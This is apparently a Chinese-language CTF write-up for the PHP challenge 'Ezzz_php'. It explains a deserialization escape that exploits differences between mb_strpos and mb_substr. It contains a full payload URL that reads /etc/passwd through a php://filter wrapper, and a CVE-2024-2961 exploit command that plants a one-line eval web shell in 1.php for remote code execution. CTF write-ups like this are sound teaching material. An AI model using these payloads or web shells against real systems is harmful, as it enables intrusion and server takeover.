XGCTF Ezzz_php
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
} Start_Funny_CTF!!!
首先我们经过对代码的观察找到利用点
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
反序列化的利用
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
但是我们没法直接控制ctf和serialize($readfile)
$readfile = new read_file($_GET['start']);
我们传进去的start只是一个属性值
但是我们可以将start赋值为我们想要的实例的序列化结果
然后我们先办法让ctf的值为我们给start赋的值
先假设
$start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:11:"/etc/passwd";}
即在开头我们多出了
O:9:"read_file":2:{s:5:"start";s:82:"//这一部分
我们在
$ctf = substrstr($read."[".serialize($readfile)."]");
substrstr截取时要从O:9:"read_file":2:{s:5:"start";s:82:"之后开始截
也就是说
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
mb_strpos判定的位置不能要和substrstr在字符串中判定的位置相同
当然这是可能的
Web-逃跑大师--第二届黄河流域公安院校网络空间安全技能邀请赛
2. mb_substr和mb_strpos函数漏洞
mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数,专门用于处理 UTF-8 或其他多字节编码的字符串。
(1)mb_strpos: 用于查找一个字符串在另一个字符串中第一次出现的位置(索引),返回结果是该子字符串第一次出现的位置(索引)。
mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false
$haystack:要在其中搜索子字符串的源字符串。
$needle:要搜索的子字符串。
$offset(可选):从哪个位置开始搜索,默认为 0。
$encoding(可选):要使用的字符编码,默认为内部字符编码。
(2)mb_substr: 用于获取一个字符串的子串,返回结果是指定位置和长度的子字符串。
mb_substr(string $string, int $start, int $length = null, string $encoding = null): string|false
$string:要截取的原始字符串。
$start:截取的起始位置。如果是负数,则表示从末尾开始计数。
$length(可选):要截取的长度。如果未指定,则默认截取至字符串的末尾。
$encoding(可选):要使用的字符编码,默认为内部字符编码。
当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节
(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节
结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动
3. mb_substr和mb_strpos函数漏洞与本题结合
通过控制C的长度可以控制我们想要执行$key的长度
通过控制B我们可以控制索引值需要提前几位
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
我们要在
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
结合为协议读文件
即
?start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}
及多出38个字符
&read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa即可
payloud:
?start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}&read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa
但是我们不知道文件名
不可能直接读出flag
还是要进行命令执行
CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行
这里官方wp已经很清楚了
在虚拟机中操作
python版本要在3.10以上
安装依赖
推荐大家在虚拟环境进行
python3 -m venv myenv
source myenv/bin/activate
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip
pip install pwntools ten
python3 cve.py https://8a375370-7d64-45b3-a691-c267f2114d8a.challenge.ctf.show/ "echo '<?=@eval(\$_POST[0]);?>' > 1.php
然后直接去url/1.php执行命令即可